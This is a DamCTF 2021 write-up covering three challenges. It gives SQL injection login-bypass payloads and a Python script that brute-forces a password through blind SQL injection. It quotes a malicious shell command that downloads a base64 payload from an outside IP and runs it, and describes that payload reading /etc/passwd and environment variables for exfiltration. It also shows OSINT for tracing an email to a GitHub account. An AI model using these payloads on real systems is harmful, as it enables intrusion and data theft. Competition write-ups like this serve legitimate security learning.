DamCTF 2021 Writeup
TOC |
---|
web/bouncy-box |
malware/sneaky-script |
misc/apocryphon |
web/bouncy-box
This fun little Flappy Bird ripoff requires a login to submit your high score. With some guesswork, we can see that it’s vulnerable to SQL injection attacks.
After entering the password anything' or '1'='1
we can see that we’re in, and with access to a VIP member no less! But we’re not done yet. In order to grab the flag, the site requires that you login a second time.
Probing, it looks like the SQL injection has been fixed for this second endpoint. We need some way to get the users password. But how?
Let’s go back to that first, vulnerable endpoint for now.
' OR 1=1 and (SELECT (CASE WHEN EXISTS(SELECT * FROM not_a_real_table ) THEN 1 ELSE 0 END)) = 1 -'
With this query, we get an HTTP 500 error, because of the underlying SQL error when we feed it a table that doesn’t exist. But how about guessing that the table name is users
?
' OR 1=1 and (SELECT (CASE WHEN EXISTS(SELECT * FROM users ) THEN 1 ELSE 0 END)) = 1 -'
This time, we login successfully just like we did the first time. Now that we have a binary way of returning data from the database, we can start to tinker and think of ways to extract the password.
' OR 1=1 and (SELECT (CASE WHEN EXISTS(SELECT username FROM users where username = 'boxy_mcbounce' and BINARY substring(username,1,1) = 'b') then 1 else 0 end)) = 1 -'
The above query confirms what we already know. The first character in the username we’re trying to hack starts with a b. How else can we use this approach? What if we could bruteforce each character of the password?
import requests
charlists= ['0','1','2','3','4','5','6','7','8','9','0','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','_','{','}','-','$','!','@','#']
password = ""
for i in range(1, 100):
for x in charlists:
r = requests.post("https://bouncy-box.chals.damctf.xyz/login", data={
"username_input": "boxy_mcbounce",
"password_input": f"' OR 1=1 and (SELECT (CASE WHEN EXISTS(SELECT username FROM users where username = 'boxy_mcbounce' and BINARY substring(password,{i},1) = '{x}') then 1 else 0 end)) = 1 -'"
})
# Character is correct. Keep going!
if r.status_code == 200:
password += x
break
print(f"Password known so far: {password}")
That’s what the above code does. It tries each character at index i
until it succeeds, and then tries again with the next character.
Eventually, we coax the password out after hundreds of requests to the server.
With the password, we can now login as the VIP user and get our flag: dam{b0uNCE_B0UNcE_b0uncE_B0uNCY_B0unce_b0Unce_b0Unc3}
This solution is heavily inspired from this writeup. Referencing past CTFs will be a common theme throughout our writeup.
malware/sneaky-script
Included with this challenge is a Wireshark capture file, and a malicious shell script. The script below appears to download a Python script that first needs to be decoded from base64.
curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2>/dev/null | base64 -d > /tmp/.cacheimg
python3 /tmp/.cacheimg
rm -f /tmp/.cacheimg
Opening the pcap in Wireshark, and filtering down to HTTP, we can see the http://54.80.43.46/images/banner.png
request originating from the curl
command, and another HTTP request to http://34.207.187.90/upload
which we’re not sure what to make of yet.
After decoding the response from base64, we can pick out some strings, but it doesn’t look like a Python script. What gives? Well, it’s a Python bytecode file. Python scripts are often pre compiled to this byte code format so they can run faster, but they are also a useful obfuscation technique for attackers.
The Python package uncompyle6
can be used to turn byte-code files back into a regular Python script. Running the payload through results in this:
This script gathers some useful info from the Linux machine, such as the list of users in the /etc/passwd
file, and the environment variables. The send()
method then turns this data into JSON, and XORs every byte of it with the key 8675309
cycling in a loop. I.e, it encrypts the first byte with 8
, then 6
, then 7
, etc…
We can also see that this is the function that caused the other HTTP request, containing the exfiltrated data from the machine. Let’s rewrite the method so we can read the request that was captured from the pcap:
import base64
payload = "QxRZUEcSAxhtbBdfX..."
p = base64.b64decode(payload)
k = b'8675309'
d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
print(d)
With this, we have successfully decoded the machine info, and one of the environment variables happens to be the flag: dam{oh_n0_a1l_muh_k3y5_are_g0n3}
misc/apocryphon
This challenge is a bit different. The only artifact we are given is an email:
From the-information-society-231645@protonmail.com Fri Nov 05 06:22:21 2021
X-Original-To: admin@damctf.xyz
To: admin@damctf.xyz
Subject: Iv3 g0t yo=0u r19ht 1n my 7r4ck5
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Date: Fri, 05 Nov 2021 06:22:21 +0000 (UTC)
From the-information-society <the-information-society-231645@protonmail.com>
== ATTENTION ADMINS OF DAMCTF ==
== VERY IMPORTANT MESSAGE MUST READ ==
ive hacked into your systems and can see all your infra >:)
i can see all of your secrets >:)
you better send me one million dogecoin or im gonna send your browsing history to the entire internet :O
i want those dogs in my wallet by tomorrow or youre gonna get leaked sucker B)
ciao nerds
- best hacker
Does anything about this stand out to you? We deliberated for at least an hour about this email. The word apocryphon translates to secret writing in Greek, so could there be a secret meaning to this email? There’s a band called The Information Society with an album called Apocryphon, so that raised our suspicion further.
At the end of analyzing this email, we came to the conclusion that the email the-information-society-231645@protonmail.com
is the only useful piece of info in this email. One of the team ran the email through software which checks if its registered with any online services. We got a hit back for GitHub, and were able to confirm that the user does have a GitHub account.
How do we find the GitHub account associated with an email address? That’s really the crux of this challenge. We banged our heads against the wall for a long time and lots of Googling. It turns out there’s two ways (we can think of) to do this:
- Invite the email to join a private repository. The account will resolve once the invite is sent
- Set your
git config
to that email, and commit something to a GitHub repository you can see. Then, look at the commit history.
Boom, Midge Selway is revealed. The flag is hidden in the user profile status, just as an added fuck you from the author ;)
flag: dam{guess_im_in_your_sights_instead}
We want to give a huge shout out to OSUSEC for once again hosting an amazing competition. Thank you and see you next year!